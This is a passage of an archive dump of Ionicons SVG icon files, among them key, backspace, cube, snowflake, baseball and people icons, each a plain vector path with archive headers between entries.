2-21.2l5.4-.9s5.8-44.3 5.8-92.4c0-33.5-4.1-62.1-4.1-62.1-9.3-10.5-23.4-20.1-32.5-25.8zm-320.2-53.6c2.2-5.1 5.9-11.6 10-17.2 5-6.7 12.4-11.2 20.6-12.5 16.7-2.7 52.6-7.3 101.9-7.3 49.3 0 85.2 4.6 101.9 7.3 8.2 1.3 15.6 5.8 20.6 12.5 4.2 5.6 7.9 12.1 10.1 17.2 3.9 9.2 10.4 30.7 9.4 33.2-1 2.5 1 3.7-12.2 2.6-13.1-1-90.6-2.1-129.7-2.1-39.2 0-116.7 1.1-129.7 2.1-13.2 1.1-11.3-.2-12.2-2.6s5.4-24 9.3-33.2zm8.4 116c-9.9 0-29.8-1-34.5-1.2-4.7-.1-8.8 3.8-11.2 3.8s-25.5-3.6-28-14.9c-1.7-7.5-1.1-15.2-.6-19.5.3-1.9 1.9-3.4 3.8-3.5 14.4-.5 29.2.5 55.3 7.9 17.3 4.9 29.8 12.6 36.9 17.8 2.8 2.1 1.8 6.5-1.7 7.2-6.1 1.1-14.4 2.4-20 2.4zm210.4 73c-12.7 1.7-58.5 2.2-86.2 2.2s-73.5-.5-86.2-2.2c-13.1-1.7-29.8-17.3-18.4-30.2 7.6-8.5 20.8-13.6 48.9-17.3 29.8-3.8 48.6-4.3 55.6-4.3s25.8.5 55.6 4.3c28.1 3.7 43.2 9.6 48.9 17.3 10.4 13.8-5.1 28.4-18.2 30.2zm111.7-85.2c-2.5 11.2-25.6 14.9-28 14.9s-6.5-3.9-11.2-3.8c-4.7.2-24.6 1.2-34.5 1.2-5.5 0-13.8-1.3-20-2.4-3.5-.6-4.5-5.1-1.7-7.2 7.1-5.2 19.6-12.9 36.9-17.8 26.1-7.4 40.8-8.4 55.3-7.9 2 .1 3.6 1.5 3.8 3.5.5 4.3 1.1 12-.6 19.5z"/></svg>ionicons/svg/ios-key.svg000064400000001240151701353760011272 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M344.8 218.1c-13 0-25.6 0-37.4 4.1-50.6-43.1-184.3-156.9-194.5-167.5-4.7-4.9-9.9-6.7-15-6.7-8.5 0-16.7 5.2-21.3 9.6-6.9 6.6-33 34.8-28 40 15 15.4 19 18.5 25.2 24.8 9.3 9.5 28.3-1 36 2.3 7.6 3.3 9.2 6.8 10.4 12.5s-2.9 15.8-3 23.7c-.1 8.3 3.4 12.8 9.2 19 4.6 5 8.9 8.6 15.6 8.7 9 .2 20.9-12.8 30.4-3.1s-6.2 23.7-5 34 15.5 22.8 21.6 24.1c6.1 1.3 21.8-11.7 30.7-9.7 3 .7 10 6.8 11 11.4s-6.9 25-5.9 29.6c1.2 5.6 7.1 12.1 10.4 17.4-6.7 15.5-9.4 29.6-9.4 47.7 0 68.5 53.4 124 119.2 124s119-55.5 119-124-53.4-121.9-119.2-121.9zM368 400c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"/></svg>ionicons/svg/md-backspace.svg000064400000000540151701353760012226 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M433.5 96H167.2c-12.2 0-21.8 6.2-28.2 15.6L43 256l96 144.2c6.4 9.4 16 15.8 28.2 15.8h266.2c19.5 0 35.5-16 35.5-35.6V131.6C469 112 453 96 433.5 96zm-53.3 223.8l-25 25.1-63.7-63.8-63.7 63.8-25-25.1 63.7-63.8-63.7-63.8 25-25.1 63.7 63.8 63.7-63.8 25 25.1-63.7 63.8 63.7 63.8z"/></svg>ionicons/svg/ios-cube.svg000064400000000767151701353760011435 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M440.8 129.5L261.7 49.2c-3.6-1.6-7.7-1.6-11.3 0L71.2 129.5c-6 2.7-6.2 11.8-.4 14.8l178.7 94.1c4.1 2.2 8.9 2.2 13 0l178.7-94.1c5.8-3 5.6-12.1-.4-14.8zM280.2 462.9l180.1-95.3c2.2-1.4 3.6-4 3.6-6.8V175.9c0-5.9-5.8-9.7-10.7-7.1l-180.1 92.8c-2.6 1.3-4.2 4.1-4.2 7.1V456c.1 6.2 6.4 10 11.3 6.9zM48 175.9v184.8c0 2.8 1.4 5.4 3.6 6.8l180.1 95.3c5 3.2 11.2-.6 11.2-6.8V268.7c0-3-1.6-5.8-4.2-7.1l-180-92.8c-4.9-2.6-10.7 1.3-10.7 7.1z"/></svg>ionicons/svg/ios-copy.svg000064400000000731151701353760011460 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 115h90c3.3 0 6-2.7 6-6 0-8.2-3.7-16-10-21.3l-77.1-64.2c-4.9-4.1-14.2-7.4-20.6-7.4-4.1 0-7.4 3.3-7.4 7.4V96c.1 10.5 8.6 19 19.1 19z"/><path d="M307 96V16H176c-17.6 0-32 14.4-32 32v336c0 17.6 14.4 32 32 32h240c17.6 0 32-14.4 32-32V141h-96c-24.8 0-45-20.2-45-45z"/><path d="M116 412V80H96c-17.6 0-32 14.4-32 32v352c0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32v-20H148c-17.6 0-32-14.4-32-32z"/></svg>ionicons/svg/ios-battery-dead.svg000064400000000514151701353760013052 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M396 144H64c-26.4 0-48 21.6-48 48v128c0 26.4 21.6 48 48 48h332c26.4 0 48-21.6 48-48V192c0-26.4-21.6-48-48-48zm20 176c0 11-9 20-20 20H64c-11 0-20-9-20-20V192c0-11 9-20 20-20h332c11 0 20 9 20 20v128zM464 204.6v102.8c16 0 32-27.7 32-51.4s-16-51.4-32-51.4z"/></svg>ionicons/svg/ios-leaf.svg000064400000000671151701353760011420 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M453.9 378.7c-51.8-8-55.7-11.7-55.7-11.7 15.6-74-22.4-151.1-76.3-195.6C250.1 112.2 141 155.2 56 65.2c-19.8-21-8.3 235.5 98.1 332.7 77.8 71 169.4 49.2 194.5 37.6 22.8-10.6 38.7-33.9 38.7-33.9 41.5 13 62 14.2 62 14.2 14.6 1.8 22-34.4 4.6-37.1zm-91.8 7.4c-77.7-23.3-145.3-81-189.1-126.2-3.6-3.7 1.6-9.2 5.5-6 43.1 35.5 108.9 80 193.3 107.9.2 8.1-4.5 19.7-9.7 24.3z"/></svg>ionicons/svg/ios-snow.svg000064400000004126151701353760011476 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M440.5 345.8L408.1 327c11.8-12.3 26-18.2 26.2-18.3 7.5-3 11.4-11.4 8.9-19.1-1.9-5.9-7.4-9.8-13.5-9.8-1.9 0-3.7.4-5.5 1.1-1 .4-24.4 10-41.9 31.2l-96.3-56 96.3-56c17.5 21.2 40.8 30.8 41.9 31.2 1.8.7 3.6 1.1 5.5 1.1 6.1 0 11.6-4 13.5-9.8 2.5-7.7-1.4-16.1-8.9-19.1-.1-.1-14.3-6-26.2-18.3l32.4-18.8c7.2-4.2 9.6-13.4 5.5-20.6-2.7-4.7-7.7-7.6-13.1-7.6-2.6 0-5.3.7-7.6 2L393.1 159c-4.5-16.2-2.7-31.4-2.6-32 1.1-8.1-4.1-15.6-12-17.3-1-.2-2-.3-3-.3-7.1 0-13 5.2-14.1 12.4-.2 1.1-3.6 26 6.1 52.2l-96 56v-99.2c26.9-4.7 46.8-20.2 47.7-20.9 3.1-2.5 5.1-6 5.4-10 .3-4-.9-7.8-3.6-10.8-2.9-3.2-7-5.1-11.4-5.1-3.4 0-6.8 1.2-9.5 3.3-.1.1-12.2 9.4-28.6 13.6V63.1c0-8.2-7.1-15.1-15.5-15.1s-15.5 6.9-15.5 15.1v37.5c-16.3-4.2-28.4-13.5-28.6-13.6-2.7-2.1-6-3.3-9.5-3.3-4.4 0-8.5 1.9-11.4 5.1-2.7 3-4 7-3.6 10.9.3 3.9 2.3 7.4 5.4 9.9.9.7 20.8 16.2 47.7 20.9v99.2l-96-56c9.6-26 6.2-51.1 6-52.2-1-7.2-6.9-12.4-14-12.4-1 0-2 .1-3 .3-7.9 1.6-13.2 9.3-12 17.3 0 .2 2 15.5-2.6 31.9L86.6 140c-2.3-1.3-4.9-2-7.6-2-5.4 0-10.4 2.9-13.1 7.6-4.1 7.2-1.7 16.5 5.5 20.6l32.4 18.8c-11.7 12.1-25.7 18.1-26.2 18.3-7.5 3-11.4 11.4-8.9 19.1 1.9 5.9 7.4 9.8 13.5 9.8 1.9 0 3.7-.4 5.5-1.1 1-.4 24.4-10 41.9-31.2l96.3 56-96.3 56c-17.5-21.2-40.8-30.8-41.9-31.2-1.8-.7-3.6-1.1-5.5-1.1-6.1 0-11.6 4-13.5 9.8-2.5 7.7 1.4 16 8.9 19.1.5.2 14.5 6.2 26.2 18.3l-32.4 18.8c-7.2 4.2-9.6 13.4-5.5 20.6 2.7 4.7 7.7 7.6 13.1 7.6 2.6 0 5.3-.7 7.6-2l32.3-18.8c4.6 16.5 2.6 31.8 2.6 32-1.2 8 4.1 15.7 12 17.3 1 .2 2 .3 3 .3 7.1 0 13-5.2 14.1-12.4.2-1.1 3.6-26-6.1-52.2l96-56v99.2c-26.9 4.7-46.8 20.2-47.7 20.9-3.1 2.5-5.1 6-5.4 10-.3 4 .9 7.8 3.6 10.8 2.9 3.2 7 5.1 11.4 5.1 3.4 0 6.8-1.2 9.5-3.3.1-.1 12.3-9.4 28.6-13.6v37.5c0 8.2 7.1 15.1 15.5 15.1s15.5-6.9 15.5-15.1v-37.5c16.3 4.2 28.4 13.5 28.6 13.6 2.7 2.1 6.1 3.3 9.5 3.3 4.4 0 8.5-1.9 11.4-5.1 2.7-3 4-7 3.6-10.9-.3-3.9-2.3-7.4-5.4-9.9-.9-.7-20.8-16.2-47.7-20.9V282l96 56c-9.6 26-6.2 51.1-6 52.2 1 7.2 6.9 12.4 14 12.4 1 0 2-.1 3-.3 7.9-1.6 13.1-9.2 12-17.3-.1-.5-1.9-15.7 2.6-32l32.2 18.8c2.3 1.3 4.9 2 7.6 2 5.4 0 10.4-2.9 13.1-7.6 4.1-6.9 1.7-16.2-5.5-20.4z"/></svg>ionicons/svg/md-watch.svg000064400000000570151701353760011423 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 256c0-51.001-24.004-96.001-60.996-125L336 16H176l-19.004 115C120.004 159.999 96 204.999 96 256c0 50.996 24.004 95.996 60.996 125L176 496h160l19.004-115C391.996 351.996 416 306.996 416 256zm-280 0c0-66.001 54.004-120 120-120s120 53.999 120 120c0 65.996-54.004 120-120 120s-120-54.004-120-120z"/></svg>ionicons/svg/ios-send.svg000064400000000514151701353760011436 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M435.9 64.9l-367.1 160c-6.5 3.1-6.3 12.4.3 15.3l99.3 56.1c5.9 3.3 13.2 2.6 18.3-1.8l195.8-168.8c1.3-1.1 4.4-3.2 5.6-2 1.3 1.3-.7 4.3-1.8 5.6L216.9 320.1c-4.7 5.3-5.4 13.1-1.6 19.1l64.9 104.1c3.2 6.3 12.3 6.2 15.2-.2L447.2 76c3.3-7.2-4.2-14.5-11.3-11.1z"/></svg>ionicons/svg/ios-play-circle.svg000064400000000412151701353760012706 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm83.8 211.9l-137.2 83c-2.9 1.8-6.7-.4-6.7-3.9V173c0-3.5 3.7-5.7 6.7-3.9l137.2 83c2.9 1.7 2.9 6.1 0 7.8z"/></svg>ionicons/svg/ios-options.svg000064400000001161151701353760012177 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M299.3 376c6.2-14.1 20.3-24 36.7-24s30.5 9.9 36.7 24H448c8.8 0 16 7.2 16 16s-7.2 16-16 16h-75.3c-6.2 14.1-20.3 24-36.7 24s-30.5-9.9-36.7-24H64c-8.8 0-16-7.2-16-16s7.2-16 16-16h235.3zM139.3 240c6.2-14.1 20.3-24 36.7-24s30.5 9.9 36.7 24H448c8.8 0 16 7.2 16 16s-7.2 16-16 16H212.7c-6.2 14.1-20.3 24-36.7 24s-30.5-9.9-36.7-24H64c-8.8 0-16-7.2-16-16s7.2-16 16-16h75.3zM299.3 104c6.2-14.1 20.3-24 36.7-24s30.5 9.9 36.7 24H448c8.8 0 16 7.2 16 16s-7.2 16-16 16h-75.3c-6.2 14.1-20.3 24-36.7 24s-30.5-9.9-36.7-24H64c-8.8 0-16-7.2-16-16s7.2-16 16-16h235.3z"/></svg>ionicons/svg/md-heart-empty.svg000064400000001156151701353760012555 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M349.6 64c-36.4 0-70.7 16.7-93.6 43.9C233.1 80.7 198.8 64 162.4 64 97.9 64 48 114.2 48 179.1c0 79.5 70.7 143.3 177.8 241.7L256 448l30.2-27.2C393.3 322.4 464 258.6 464 179.1 464 114.2 414.1 64 349.6 64zm-80.8 329.3l-4.2 3.9-8.6 7.8-8.6-7.8-4.2-3.9c-50.4-46.3-94-86.3-122.7-122-28-34.7-40.4-63.1-40.4-92.2 0-22.9 8.4-43.9 23.7-59.3 15.2-15.4 36-23.8 58.6-23.8 26.1 0 52 12.2 69.1 32.5l24.5 29.1 24.5-29.1c17.1-20.4 43-32.5 69.1-32.5 22.6 0 43.4 8.4 58.7 23.8 15.3 15.4 23.7 36.5 23.7 59.3 0 29-12.5 57.5-40.4 92.2-28.8 35.7-72.3 75.7-122.8 122z"/></svg>ionicons/svg/ios-baseball.svg000064400000006470151701353760012261 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256.3 74.2l9.7-3.1c4.7-1.5 9.7 1.1 11.2 5.7l.1.4c1.5 4.7-1.1 9.7-5.7 11.2L260.1 92c-2.1.7-3.2 2.9-2.6 4.9 2.1 6.9 4.5 13.7 7.2 20.5 1.9 4.6 3.9 9.2 6.1 13.7 1.1 2.2 3.8 3 5.9 1.6l8.5-5.8c4.1-2.7 9.6-1.7 12.3 2.4l.2.3c2.7 4.1 1.7 9.6-2.4 12.3l-10.4 7.1a4 4 0 0 0-1.2 5.4c7 11 14.9 21.5 23.7 31.3 1.5 1.7 4.2 1.8 5.8.2l7.5-7.5c3.5-3.5 9.1-3.5 12.5 0l.3.3c3.5 3.5 3.5 9.1 0 12.5l-7.5 7.5c-1.6 1.6-1.5 4.3.2 5.8 10.2 9.1 21 17.3 32.5 24.4a4 4 0 0 0 5.4-1.2l6.9-10.2c2.7-4.1 8.3-5.1 12.3-2.4l.3.2c4.1 2.7 5.1 8.3 2.4 12.3l-5.5 8.1c-1.4 2-.6 4.8 1.6 5.9 4.1 1.9 8.2 3.8 12.4 5.5 7.1 2.9 14.3 5.4 21.7 7.6 2.1.6 4.3-.5 5-2.6l3.5-10.8c1.5-4.7 6.5-7.2 11.2-5.7l.4.1c4.7 1.5 7.2 6.5 5.7 11.2l-2.8 8.8c-.7 2.3.7 4.7 3.1 5.2 7.1 1.3 14.3 2.3 21.5 2.9.1-2.6.2-5.3.2-7.9 0-114.9-93.1-208-208-208-2.7 0-5.3.1-8 .2.7 7.7 1.7 15.3 3.1 22.9.4 2.5 2.9 3.9 5.2 3.2zM258 447.2c-.4-2.4-2.8-3.9-5.2-3.2l-11.6 3.7c-4.7 1.5-9.7-1.1-11.2-5.7l-.1-.4c-1.5-4.7 1.1-9.7 5.7-11.2l13.8-4.4c2-.7 3.2-2.8 2.6-4.9-2.3-7.9-5-15.6-8.1-23.3-1.6-4-3.3-7.9-5.2-11.8-1-2.2-3.8-3-5.9-1.6l-10.9 7.4c-4.1 2.7-9.6 1.7-12.3-2.4l-.2-.3c-2.7-4.1-1.7-9.6 2.4-12.3l13-8.8a4 4 0 0 0 1.2-5.4c-7.2-11.7-15.5-22.7-24.8-33.1-1.5-1.7-4.2-1.8-5.8-.2l-9.9 9.9c-3.5 3.5-9.1 3.5-12.5 0l-.3-.3c-3.5-3.5-3.5-9.1 0-12.5l9.9-9.9c1.6-1.6 1.5-4.3-.2-5.8-10-9-20.6-17-31.9-24a4 4 0 0 0-5.4 1.2l-9 13.3c-2.7 4.1-8.3 5.1-12.3 2.4l-.3-.2c-4.1-2.7-5.1-8.3-2.4-12.3l7.6-11.3c1.4-2 .6-4.8-1.6-5.9-4.3-2.1-8.6-4-13.1-5.8-7.3-2.9-14.6-5.5-22.1-7.7-2-.6-4.3.6-4.9 2.6l-4.6 14.4c-1.5 4.7-6.5 7.2-11.2 5.7l-.4-.1c-4.7-1.5-7.2-6.5-5.7-11.2l4-12.4c.7-2.3-.7-4.8-3.1-5.2-5.8-1-11.7-1.8-17.6-2.4-.1 0-.3 0-.4-.1v4.2c0 114.9 93.1 208 208 208h4.2c0-.1-.1-.3-.1-.4-.5-5.4-1.2-10.9-2.1-16.3z"/><path d="M431.1 280.9l-5.9 18.4c-1.5 4.7-6.5 7.2-11.2 5.7l-.4-.1c-4.7-1.5-7.2-6.5-5.7-11.2l5.3-16.6c.7-2.1-.5-4.4-2.7-5.1-13.5-4-26.8-9.2-39.7-15.6-1.8-.9-4-.3-5.1 1.3l-10.5 15.4c-2.7 4.1-8.3 5.1-12.3 2.4l-.3-.2c-4.1-2.7-5.1-8.3-2.4-12.3l9.2-13.6c1.3-1.9.7-4.4-1.2-5.6-12.3-7.7-24.1-16.6-35.2-26.7-1.6-1.4-4-1.4-5.5.1L294.7 230c-3.5 3.5-9.1 3.5-12.5 0l-.3-.3c-3.5-3.5-3.5-9.1 0-12.5l12.8-12.8c1.5-1.5 1.6-3.9.1-5.5-9.7-10.8-18.4-22.2-26-34-1.2-1.9-3.8-2.5-5.6-1.2l-13.3 9c-4.1 2.7-9.6 1.7-12.3-2.4l-.2-.3c-2.7-4.1-1.7-9.6 2.4-12.3l15.1-10.2c1.7-1.1 2.2-3.3 1.3-5.1-6.4-12.9-11.7-26.2-15.8-39.7-.7-2.1-2.9-3.4-5.1-2.7l-15.9 5.1c-4.7 1.5-9.7-1.1-11.2-5.7l-.1-.4c-1.5-4.7 1.1-9.7 5.7-11.2l17.6-5.6c1.9-.6 3.1-2.6 2.7-4.6-1.8-9.2-3.1-18.6-3.9-27.9-95.4 11.8-170.8 88.2-181 184.1h1c7.5.7 15 1.8 22.4 3.2 2 .4 4-.8 4.6-2.7l4.7-14.8c1.5-4.7 6.5-7.2 11.2-5.7l.4.1c4.7 1.5 7.2 6.5 5.7 11.2l-4.2 13c-.7 2.2.5 4.4 2.7 5.1 13.9 4.1 27.5 9.4 40.7 16 1.8.9 4 .3 5.1-1.3l8.3-12.3c2.7-4.1 8.3-5.1 12.3-2.4l.3.2c4.1 2.7 5.1 8.3 2.4 12.3l-7.1 10.5c-1.3 1.9-.7 4.4 1.2 5.6 12.1 7.7 23.7 16.4 34.6 26.3 1.6 1.4 4 1.4 5.5-.1l10.4-10.4c3.5-3.5 9.1-3.5 12.5 0l.3.3c3.5 3.5 3.5 9.1 0 12.5L214 310.8c-1.5 1.5-1.6 3.9-.1 5.5 10.2 11.3 19.2 23.3 27 35.8 1.2 2 3.7 2.5 5.7 1.2l10.8-7.3c4.1-2.7 9.6-1.7 12.3 2.4l.2.3c2.7 4.1 1.7 9.6-2.4 12.3l-12.7 8.6c-1.7 1.1-2.2 3.3-1.3 5.1 6.4 13.2 11.7 26.7 15.7 40.6.6 2.2 2.9 3.4 5.1 2.7l13.6-4.4c4.7-1.5 9.7 1.1 11.2 5.7l.1.4c1.5 4.7-1.1 9.7-5.7 11.2l-15.6 5c-1.9.6-3.1 2.6-2.7 4.6 1.3 7 2.3 14.1 3 21.2v1c95.9-10.2 172.3-85.6 184.1-181-8.9-.7-17.9-1.9-26.7-3.6-1.9-.3-3.9.9-4.5 2.8z"/></svg>ionicons/svg/md-journal.svg000064400000000517151701353760011770 0ustar00<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" x="0" y="0" viewBox="0 0 512 512" xml:space="preserve"><style>.st0{fill:#010101}</style><path class="st0" d="M117.3 42.7c-17.6 0-32 14.4-32 32v362.7c0 17.6 14.4 32 32 32H320V42.7H117.3zM384.7 42.7H368v426.7h16.7c23.1 0 42-18.9 42-42V84.7c0-23.1-18.9-42-42-42z"/></svg>ionicons/svg/ios-people.svg000064400000002506151701353760011774 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M349.1 334.7c-11.2-4-29.5-4.2-37.6-7.3-5.6-2.2-14.5-4.6-17.4-8.1-2.9-3.5-2.9-28.5-2.9-28.5s7-6.6 9.9-14c2.9-7.3 4.8-27.5 4.8-27.5s6.6 2.8 9.2-10.4c2.2-11.4 6.4-17.4 5.3-25.8-1.2-8.4-5.8-6.4-5.8-6.4s5.8-8.5 5.8-37.4c0-29.8-22.5-59.1-64.6-59.1-42 0-64.7 29.4-64.7 59.1 0 28.9 5.7 37.4 5.7 37.4s-4.7-2-5.8 6.4c-1.2 8.4 3 14.4 5.3 25.8 2.6 13.3 9.2 10.4 9.2 10.4s1.9 20.1 4.8 27.5c2.9 7.4 9.9 14 9.9 14s0 25-2.9 28.5-11.8 5.9-17.4 8c-8 3.1-26.3 3.5-37.6 7.5-11.2 4-45.8 22.2-45.8 67.2h278.3c.1-45.1-34.5-63.3-45.7-67.3z"/><path d="M140 286s23.9-.8 33.4-9.3c-15.5-23.5-7.1-50.9-10.3-76.5-3.2-25.5-17.7-40.8-46.7-40.8h-.4c-28 0-43.1 15.2-46.3 40.8-3.2 25.5 5.7 56-10.2 76.5C69 285.3 93 285 93 285s1 14.4-1 16.8c-2 2.4-7.9 4.7-12 5.5-8.8 1.9-18.1 4.5-25.9 7.2-7.8 2.7-22.6 17.2-22.6 37.2h80.3c2.2-8 17.3-22.3 32-29.8 9-4.6 17.9-4.3 24.7-5.2 0 0 3.8-6-8.7-8.3 0 0-17.2-4.3-19.2-6.7-1.9-2.2-.6-15.7-.6-15.7zM372 286s-23.9-.8-33.4-9.3c15.5-23.5 7.1-50.9 10.3-76.5 3.2-25.5 17.7-40.8 46.7-40.8h.4c28 0 43.1 15.2 46.3 40.8 3.2 25.5-5.7 56 10.2 76.5-9.5 8.6-33.5 8.3-33.5 8.3s-1 14.4 1 16.8c2 2.4 7.9 4.7 12 5.5 8.8 1.9 18.1 4.5 25.9 7.2 7.8 2.7 22.6 17.2 22.6 37.2h-80.3c-2.2-8-17.3-22.3-32-29.8-9-4.6-17.9-4.3-24.7-5.2 0 0-3.8-6 8.7-8.3 0 0 17.2-4.3 19.2-6.7 1.9-2.2.6-15.7.6-15.7z"/></svg>ionicons/svg/ios-list.svg000064400000000664151701353760011466 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><circle cx="92" cy="256" r="28"/><circle cx="92" cy="132" r="28"/><circle cx="92" cy="380" r="28"/><path d="M432 240H191.5c-8.8 0-16 7.2-16 16s7.2 16 16 16H432c8.8 0 16-7.2 16-16s-7.2-16-16-16zM432 364H191.5c-8.8 0-16 7.2-16 16s7.2 16 16 16H432c8.8 0 16-7.2 16-16s-7.2-16-16-16zM191.5 148H432c8.8 0 16-7.2 16-16s-7.2-16-16-16H191.5c-8.8 0-16 7.2-16 16s7.2 16 16 16z"/></svg>ionicons/svg/md-thunderstorm.svg000064400000000640151701353760013051 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M393.2 161.2C380.5 96.6 323.9 48 256 48c-39.7 0-76 14-100.9 45.4 34.3 2.6 66.1 15.2 90.7 39.8 18.2 18.2 31 40.5 37.4 64.8h-33.5c-15.3-43.7-56-75-105.7-75-6 0-14.3.7-20.6 2C70 136 32 180.4 32 235.5 32 297.6 82.2 336 144 336h68V233h99.1l-33.2 67H311l-18 36h93.7c51.5 0 93.3-30 93.3-81.8 0-49.4-38.3-89.6-86.8-93zM212 368h22v96l59-128h-81z"/></svg>ionicons/svg/md-volume-mute.svg000064400000000205151701353760012567 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 192v128h85.334L256 431.543V80.458L149.334 192H64z"/></svg>ionicons/svg/ios-reverse-camera.svg000064400000002274151701353760013413 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M417.5 160H363c-4.6 0-8.9-2-12-5.4-28.4-31.8-39.1-42.6-50.7-42.6h-85.5c-11.7 0-23.2 10.8-51.7 42.7-3 3.4-7.4 5.3-11.9 5.3h-4.1v-8c0-4.4-3.6-8-8-8h-26c-4.4 0-8 3.6-8 8v8h-7.5C79.9 160 64 173.2 64 190.7v176c0 17.5 15.9 33.3 33.5 33.3h320c17.6 0 30.5-15.8 30.5-33.3v-176c0-17.5-12.9-30.7-30.5-30.7zM308.3 340.5c-.8 2.5-2.6 4.6-4.8 6.1-14.1 9.7-30.5 14.8-47.5 14.8-21 0-41.2-8.1-57.1-22.7-14.6-13.5-24.1-31.2-27-50.2h-20.4c-3.2 0-6-2.8-5.6-6.6.1-.7.3-1.3.7-1.8l31.5-42.3c1.1-1.4 2.7-2.2 4.4-2.2 1.7 0 3.3.8 4.4 2.2l32.2 41.8c2 2.6 1.5 6.4-1.8 8.5-.6.4-1.2.5-1.9.5h-20.8c2.7 12.8 9.7 24.8 19.9 34 11.6 10.6 26.3 16.4 41.4 16.4 12.3 0 24.4-4 35.1-11.5 1.9-1.3 4.2-2.1 6.5-2.1 3.2 0 6.2 1.3 8.3 3.7 2.9 3 3.9 7.3 2.5 11.4zm56.6-67.5l-31.2 42.9c-1.8 2.5-5.5 3.2-8.3.8-.2-.2-.4-.4-.5-.6L292.5 273c-2-2.6-1.4-6.5 1.9-8.5.6-.3 1.2-.5 1.9-.5h21c-2.7-13.6-9.7-26.1-19.9-35.6-11.5-10.7-26.2-16.6-41.3-16.6-12.5 0-24.6 3.9-35.2 11.3-1.9 1.3-4.1 2-6.4 2-3.1 0-6.1-1.3-8.2-3.6-2.8-3-3.8-7.4-2.5-11.5.8-2.5 2.6-4.6 4.7-6 14.1-9.7 30.6-14.8 47.6-14.8 21.7 0 42.2 7.9 57.8 22.3 13.3 12.3 23.2 32.1 26.2 52.4h21.1c.6 0 1.3.2 1.8.5 3.2 2.1 3.8 6 1.9 8.6z"/></svg>ionicons/svg/ios-help.svg000064400000000645151701353760011442 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256.7 160c37.5 0 63.3 20.8 63.3 50.7 0 19.8-9.6 33.5-28.1 44.4-17.4 10.1-23.3 17.5-23.3 30.3v7.9h-34.7l-.3-8.6c-1.7-20.6 5.5-33.4 23.6-44 16.9-10.1 24-16.5 24-28.9s-12-21.5-26.9-21.5c-15.1 0-26 9.8-26.8 24.6H192c.7-32.2 24.5-54.9 64.7-54.9zm-26.3 171.4c0-11.5 9.6-20.6 21.4-20.6 11.9 0 21.5 9 21.5 20.6s-9.6 20.6-21.5 20.6-21.4-9-21.4-20.6z"/></svg>ionicons/svg/md-flash.svg000064400000000172151701353760011410 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M160 48v224h64v192l128-256h-64l64-160H160z"/></svg>ionicons/svg/ios-bookmarks.svg000064400000001025151701353760012473 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 32v127.9l-22.9-14.5-9.1-6.4-9.1 6.4-22.9 14.5V32h-41.4c-22.5.2-40.6 18.8-40.6 41.4v313.2c0 7.5-5.8 14-13.3 14.4-8 .4-14.7-6-14.7-14V73.4c0-22.6-18.1-41.2-40.6-41.4H95.1C64.8 32 40 56.8 40 87.1v289.8c0 30.3 24.8 55.1 55.1 55.1l108-.1c4.2.1 8.3.6 12.2 1.4 15.3 3.1 26.8 16.6 26.6 32.2-.1 7.2 5.2 13.6 12.4 14.4 8.5.9 15.7-5.7 15.6-14.1-.2-15.8 11.4-29.4 26.9-32.5 3.8-.8 7.9-1.2 12-1.3l108 .1c30.3 0 55.1-24.8 55.1-55.1V87.1C472 56.8 446.3 32 416 32z"/></svg>ionicons/svg/ios-basketball.svg000064400000002403151701353760012610 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M218.6 306.4c14.3-11.8 28.3-24.4 41.4-37.6l6.1-6.1c-2.8-2.9-5.6-5.8-8.3-8.5-49.9-49.9-107.7-89.6-171.8-118.1-18.4 26.1-31 56.6-35.8 89.6 32.2 2.3 63.2 10.5 92.2 24.5 28.8 13.9 54.4 32.8 76.2 56.2zM326.1 185.6c.5.5 1.1 1.1 1.7 1.6 20.9-30.5 38.8-63.2 53.5-97.4-33.8-25.5-75.6-41-121-41.9 2.4 22.3 8 44.1 16.7 64.7 11.5 27.4 28.1 52 49.1 73zM399 234.8c20.7 8.8 42.6 14.4 65 16.7-1.2-56.3-24.8-107.1-62.2-143.9-15 33.8-33.3 66.3-54.4 96.8 15.8 12.4 33.2 22.6 51.6 30.4zM193.9 318.1c-21.1-21.1-45.6-37.6-72.9-49.2-23.2-9.8-47.7-15.6-72.9-17.4 0 1.5-.1 3-.1 4.4 0 48.7 16.7 93.5 44.8 128.9 37.3-17 72.7-37.9 105.4-62.4-1.5-1.4-2.9-2.9-4.3-4.3zM283.8 243.6c10.1-11.3 19.7-23.1 28.8-35.1-44.5-42.3-72.1-98.6-78.2-159.5-51.9 5.4-98.1 29.8-131.5 66.2 33.4 15.3 65.5 33.8 95.6 55.1 30.5 